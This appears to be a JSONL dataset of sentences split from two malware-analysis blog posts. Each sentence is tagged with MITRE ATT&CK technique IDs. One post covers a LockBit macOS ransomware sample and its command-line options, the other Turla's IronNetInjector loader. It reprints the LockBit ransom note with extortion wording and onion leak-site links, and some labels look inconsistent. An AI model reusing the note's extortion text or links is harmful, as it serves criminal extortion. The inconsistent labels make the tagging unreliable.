{"sentence": "For example, here we see it set the bdaemon variable to 0x1, or ’true’ …even though its already set to that value.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "_bdaemon: 0000000100059088 dd 0x00000001 ... 000000010000b174 adrp x9, #0x100059000 ... 000000010000b17c mov w8, #0x1 000000010000b180 nop 000000010000b184 str w8, [x9, #0x88] ; _bdaemon Here’s the list of global variables that are referenced …which based on their names, provide insight into the malware configuration options:", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "iMinfilesize iSpotMaximum bdaemon bSelfRemove publickey idelayinmin wholefile bfullog bnostop noext no_log bwipe bVMDKmode …also, by manually manipulating these values in a debugger (or as we’ll see via the command line) we can simplify analysis.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "For example, setting bdaemon to false will prevent the binary from daemonizing (making it easier to debug), while setting bfullog to true to coerce the malware to log its actions!", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The malware then de-XORs other strings, with the hard-coded key of 0x39 000000010000b260 ldr w8, =0x1964126200000039 Most of the strings are de-XOR’d in a function aptly named de_xor_all.", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "We could step through this and dump each string manually, or, as a hard-coded XOR key is used, simply de-XOR the entire binary and see what falls out: with open(\"locker_Apple_M1_64\", \"rb\") as f_in, open(\"strings\", \"wb\") as f_out: while True: chunk = f_in.read(1024) if not chunk: break encrypted_chunk = bytes(byte ^", "labels": ["T1027", "T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "0x39 for byte in chunk)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "f_out.write(encrypted_chunk)", "labels": ["T1059.003"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This produces strings including a commandline usage: Usage: %s", "labels": ["T1059.003"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[OPTION]... -i", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "'/path/to/crypt' Recursively crypts files in a path or by extention.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Mandatory arguments to long options are mandatory for short options too.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-i, --indir path to crypt -m, --minfile minimal size of a crypted file, no less than 4096 -r, --remove self remove this file after work -l, --log prints the log to the console -n, --nolog do not print the log to the file /tmp/locker.log -d, --daemonize runs a program as Unix daemon -w, --wholefile encrypts whole file -b, --beginfile encrypts first N bytes -e, --extentions encrypts files by extentions -o, --nostop prevent to stop working VM -t, --wipe wipe free space -s, --spot upper bound limitation value of spot in Mb -p, --pass password -f, --full full log -a, --delay start delay in minutes -y, --noexts do not search for extentions -v, --vmdk search for extentions inside VMDK files Clearly these match to the global variables that apparently can be set via the command-line as well.", "labels": ["T1059.003", "T1070.004"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As we’ll set this makes analysis even easier!", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Also the de-XOR’d strings, we find the full ransom note (here, truncated):", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~ >>>>>", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Your data is stolen and encrypted.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If you don't pay the ransom, the data will be published on our TOR darknet sites.", "labels": ["T1090"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Keep in mind that once your data appears on our leak site, it could be bought by your competitors at any second, so don't hesitate for a long time.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The sooner you pay the ransom, the sooner your company will be safe.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Tor Browser Links: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion Links for normal browser: http://lockbitapt2d73krlbewgv27tquljgxr33xbwwsp6rkyieto7u4ncead.onion.ly http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt72iw55njgnqpymggskg5yp75ry7rirtdg4m7i42artsbqd.onion.ly http://lockbitaptawjl6udhpd323uehekiyatj6ftcxmkwe5sezs4fqgpjpid.onion.ly http://lockbitaptbdiajqtplcrigzgdjprwugkkut63nbvy2d5r4w2agyekqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly ... >>>>", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Very important!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "For those who have cyber insurance against ransomware attacks.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we >>>>>", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If you do not pay the ransom, we will attack your company again in the future.", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Once the malware has de-XOR’d all its strings, it invokes a method named go.", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This parses command-line options (updating global variables is relevant), and performs various other initializations, such as invoking a function named sodium_init (likely to initialize the commonly used Sodium crypto library).", "labels": ["T1059.003"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Interestingly also, the malware invokes a function named get_password to read from stdin …it checks against the value of test 000000010000a618 bl imp___stubs__strcmp (lldb)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "x/s $x0 0x16fdfeb10: \"hunter2\" (lldb) x/s $x1 0x10005a0d2: \"test At this point, armed with an decent understanding of the malware (yah, its ransomware) plus understanding of commandline options (that also allow us to enable logging), coupled with the fact that it’s a Sunday (aka the day of rest, not reversing malware) I decided to switch to passive dynamic analysis.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Also, maybe you’re tired of reading arm64?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": ":grinning_face_with_sweat:", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "My goal was now trigger the malware to encrypt (ransom) files, while passively observing it in action.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "On my dedicated analysis machine, I first created a directory for it to encrypt (~/Downloads/lock_me_up) which I filled with files to encrypt (for some reason, I thought it was be funny to put other malware samples in there for the ransomware to encrypt).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Then I kicked off a file monitor, filtering on the locker_Apple_M1_64 process: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Next, I ran the malware with the following command line: -f : full log -p pass : password -i ~/Downloads/lock_me_up : directory to encrypt / ransom First, the file monitoring detected the ransomware opening its log file (tmp/locklog).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "We’ll take a peek at the log file’s contents shortly.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { \"event\" : \"ES_EVENT_TYPE_NOTIFY_OPEN\", \"file\" : { \"destination\" : \"/private/tmp/locklog\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } } Then, accessing (opening) the files in the specified directory, to encrypt them, and renaming the encrypted files with the .lockbit extension: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { \"event\" : \"ES_EVENT_TYPE_NOTIFY_OPEN\", \"file\" : { \"destination\" : \"/Users/user/Downloads/lock_me_up/DazzleSpy.zip\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } }, { \"event\" : \"ES_EVENT_TYPE_NOTIFY_RENAME\", \"file\" : { \"destination\" : \"/Users/user/Downloads/lock_me_up/DazzleSpy.zip.lockbit\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } } Finally, it creates a file named \"!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "which is ransom note with the decryption instructions: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\", \"file\" : { \"destination\" : \"/Users/user/Downloads/lock_me_up/!!!-Restore-My-Files-!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } } Ransomed files and ransom note Let’s take a peek at the log (/tmp/locker.log), which gives us details in the ransomware’s actions: [19:16:45][74073472l][+] Launch parameters: ./locker_Apple_M1_64", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-i '/Users/user/Downloads/lock_me_up' -m 16 -w 0 -b 0 -r 0 -l 1 -n 0 -d 1 -e '' -s 10 -p test -o 0", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-t 0 -f 1", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "0", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-z", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-y 0 ~~~~~~~~~~~~~~~Hardware~~~~~~~~~~~~~~~~~~ [19:32:07][4329948544][+] Add directory to encrypt: /Users/user/Downloads/lock_me_up", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[19:32:07][6140964864][+] Start encrypting file /Users/user/Downloads/lock_me_up/DazzleSpy.zip", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[19:32:07][6140964864][+] Start encrypting file /Users/user/Downloads/lock_me_up/DazzleSpy.zip spot 0 from 1.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Original checksum 2846984875 ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[19:32:07][6140964864][+] End file /Users/user/Downloads/lock_me_up/DazzleSpy.zip size 223464 time 1672883981 is encrypted.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Checksum after encryption 3269819564 ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "At this point, we have a fairly comprehensive analysis of the malware, and have confirmed it is (as wholly expected) ransomware.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "And, being able to trigger its ransomware logic is helpful to testing detection tools (discussed next).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Detection Of course its goes without saying, having your files ransomed sucks!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "And good news, in this case the average macOS is unlikely to be impacted by this LockBit macOS sample.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Still the fact that a large ransomware gang has apparently set its sights on macOS, should give us pause for concern and also talk about preventing this (and future) samples in the first place.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "First, Apple has been fairly proactive about mitigating ransomware attacks on macOS (and maybe this is why we’ve yet seen a major ransomware outbreak on macOS).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "So, kudos to Cupertino.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Specifically Apple has implemented SIP (and now read-only volumes) to protect OS-level files.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This means even if ransomware finds its way onto a macOS system it won’t (easily) be able to mess with core OS files.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Apple has also added (TCC) protections to user files founds in (now) protected directories such as ~/Desktop, ~/Documents, etc. etc.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This means, that without an exploit or user-approval users files will remain protected.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Still an additional layer or detection/protection may be warranted, especially we’ve all probably clicked “Allow” on access prompts, while even Apple has been known to notarize malware.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If we stop to think specifically about ransomware, in theory, (at least in most cases) it should be trivial to detect.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Why?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Simply put, ransomware’s actions provide us with a powerful detection heuristic.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "In April 2016 (yes, wayyyy back then!)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "I posted a blog titled, “Towards Generic Ransomware Detection”.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "In this post, I mused, “If we can monitor file I/O events and detect the rapid creation of encrypted files by untrusted processes, then ransomware may be generically detected” To back this up, I released a free (and now open-source) tool called “RansomWhere?” that implemented this heuristic-based approach.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Specifically it process file", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "I/O events and for newly created files asks: Is the process creating file untrusted (e.g. not an Apple platform binary)?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Is created file encrypted?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Is the (untrusted) process rapidly creating several encrypted files?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If these are all true, “RansomWhere?” will suspend process as its likely ransomware and alert the user and handle the response (resume/terminate).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As with any detection approach and security tool, there are limitations.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "I've been clear to articulate these in \"RansomWhere?\"'s tool page: RansomWhere?'s Limitations Most notably, “RansomWhere?” is slightly reactive, meaning several files maybe be encrypted (and thus ransomed) before the tool detects and blocks the ransomware.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "And though “RansomWhere?” is a bit dated, it appears to be able to generically detect this LockBit sample …even though it had no a priori knowledge of this malware: RansomWhere?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "...doing it's thing!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Conclusion Today we dove into a macOS ransomware sample created by the infamous LockBit ransomware gang.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "And while this may be the first time a large ransomware group created ransomware capable of running on macOS, it worth nothing that this sample is far from ready for prime time.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "From it’s lack of a valid code-signing signature to its ignorance of TCC and other macOS file-system protections as it stands it poses no threat to macOS users.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Moreover, the variant is rather buggy …containing flaws such as buffer overflows that will cause it to prematurely exit, when run on macOS: The likely explanation to all this, is that the specimen we looked at today is test (or beta): “Cisco Talos researcher Azim Khodjibaev told BleepingComputer that based on their research, the encryptors were meant as a test and were never intended for deployment in live cyberattacks.”", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "…still, as we stated earlier, the fact that a large ransomware gang (LockBit) has apparently set its sights on macOS, should give us all pause for concern.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "And, if nothing else, make sure we’re adequately prepared for future attacks that likely will be more polished and thus pose a greater risk.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Interested in Mac Malware Analysis Techniques?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This post is also available in: 日本語 (Japanese)Executive Summary In recent years, more and more ready-made malware is released on software development hosting sites available for everybody to use – including threat actors.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This not only saves the bad guys development time, but also makes it much easier for them to find new ideas to prevent detection of their malware.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Unit 42 researchers have found several malicious IronPython scripts whose purpose is to load and run Turla’s malware tools on a victim’s system.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The use of IronPython for malicious purposes isn’t new, but the way Turla uses it is new.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The overall method is known as Bring Your Own Interpreter (BYOI).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It describes the use of an interpreter, not present on a system by default, to run malicious code of an interpreted programming or scripting language.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The first malicious IronPython scripts of the tool we describe here were discovered last year by a security researcher from FireEye.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "At the beginning of this year, another security researcher from Dragos pointed out some new scripts of the same threat actor uploaded to VirusTotal from two different submitters.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We found that one of the submitters also uploaded two other samples, which are most likely embedded payloads of one of the IronPython scripts.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "These samples helped us to understand how this tool works, what malware it loads and which threat actor uses it.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "While the IronPython scripts are only the first part of the tool, the main task of loading malware is done by an embedded process injector.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We dubbed this toolchain IronNetInjector, the blend of IronPython and the injector’s internal project name NetInjector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In this blog, we describe the IronPython scripts and how they’re used to load one or more payloads with the help of an injector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Palo Alto Networks customers are protected from this threat through WildFire and Cortex XDR.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "AutoFocus customers can investigate this activity with the tag “IronNetInjector”.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "What Is IronPython?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "First, let’s take a look at what IronPython is and why it was chosen as a loading vector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In the words of the IronPython team: IronPython is an open-source implementation of the Python programming language which is tightly integrated with the .NET Framework.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "IronPython can use the .NET Framework and Python libraries, and other", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": ".NET languages can use Python code just as easily.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "And further: IronPython’s sweet-spot is being able to use the .NET framework APIs directly from Python.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "With IronPython, you can use .NET framework APIs directly in your Python script.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It is a Python interpreter written entirely in C#.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Currently, it fully supports Python 2, while support for Python 3 is still in development.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "As one of two official projects formerly developed by Microsoft, the other being IronRuby, it uses the Dynamic Language Runtime (DLR).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Now, it becomes clear why IronPython is also attractive for malware authors.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "You can make use of the .NET framework APIs without having to compile a .NET assembly.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Of course, this requires the IronPython interpreter to also be present on the system, but that can be accomplished in different ways.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Also, IronPython scripts don’t run with the original Python interpreter when .NET framework APIs are used in the code.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In case of a sandbox that supports Python scripts, the interpreter would simply crash without any dynamic analysis result.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Further, as IronPython is written in C# and thus its process contains all the Common Language Runtime (CLR) on execution, one can easily load additional assemblies.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "IronNetInjector IronNetInjector is made of an IronPython script that contains a .NET injector and one or more payloads.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The payloads can be also .NET assemblies (x86/64) or native PEs (x86/64).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When an IronPython script is run, the .NET injector gets loaded, which in turn injects the payload(s) into its own or a remote process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The key features of the malicious IronPython scripts are as follows: Function and variable names are obfuscated.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Strings are encrypted.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Contain an encrypted .NET injector and one or more encrypted PE payloads.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Take one argument that is the decryption key for the embedded .NET injector and PE payload(s).", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Embedded .NET injector and payload(s) are encoded with Base64 and encrypted with Rijndael.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Log messages are written to %PUBLIC%\\Metadata.dat Error messages are written to %PUBLIC%\\Metaclass.dat", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The following screenshot shows one of the IronPython scripts decoded: Figure 1.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Decoded IronPython script with embedded .NET injector and ComRAT payload (both shortened).We have found two versions of the .NET injector, a newer variant internally named NetInjector compiled in 2019 and an earlier variant named PeInjector_x64 compiled in 2018.", "labels": ["T1027", "T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The earlier variant is much more limited in functionality compared to the 2019 variant.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Both versions are full-blown PE injection tools able to load a native x86/64 payload reflectively into a remote process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This is accomplished via unmanaged functions and the use of PeNet, a publicly available PE parser library written in C#.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The decompiled code is self-explanatory as meaningful function, method and variable names are used throughout the code.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Additionally, log and error messages are being used extensively.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The 2018 variant is used within PowerShell scripts to load a payload from the same script into a process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Most of its code is taken from PowerShell Empire’s ReflectivePEInjection script and got translated into C#.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It’s written in a much more specific manner than the 2019 variant, which is a generically written injection tool.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The newer version additionally contains the ability to inject .NET assemblies into unmanaged processes.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Also, it can load payloads into its own process space, the IronPython interpreter process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The newer injector has the following PDB path left: C:\\Users\\Devel\\source\\repos\\c4\\agent\\build_tools\\agent_dll_to_Python_loader\\NetInjector\\NetInjector\\obj\\Release\\NetInjector.pdb The same submitters who uploaded the IronPython scripts also submitted other files which are directly related to IronNetInjector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Based on the file sizes and the file sizes of the embedded payloads in the IronPython scripts, we can make some assumptions about what the payloads likely are.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The following table shows the IronPython scripts categorized by the different VirusTotal submitters.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It also shows which other samples uploaded by the same submitter or the other submitters are connected and gives the assumed embedded malware: Submitter IronPython script(s) uploads Related samples uploaded by same submitter Payload assumptions 1 • prophile.py • profilec.py • IronPython-2.7.7z: Portable IronPython version that contains the two IronPython scripts and a Windows task XML to start profilec.py • prophile.py: .NET injector (variant 2018)", "labels": ["T1027", "T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "+ RPC backdoor variant • profilec.py: .NET injector (variant 2019)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "ComRAT variant 2 • profile.py – • profile.py: .NET injector (variant 2019)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "ComRAT variant 3 • 10profilec.py • 120profilec.py • 220profile.py – • 10profilec.py: .NET injector (variant 2018)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "ComRAT variant • 120profilec.py: .NET injector (variant 2019)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "ComRAT variant • 220profile.py: .NET injector (variant 2018)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Unknown 4 • profilec.py • NetInjector.dll: .NET injector (variant 2019), most likely embedded .NET", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "injector in profilec.py of same submitter • payload.exe: ComRAT v4 variant (DLL), most likely embedded in profilec.py of same submitter – 5 – • part_1.data: .NET injector (variant 2018), most likely embedded in prophile.py of submitter 1 • part_2.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 • part_3.data: RPC backdoor variant, most likely embedded in prophile.py of submitter 1 – Table 1.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
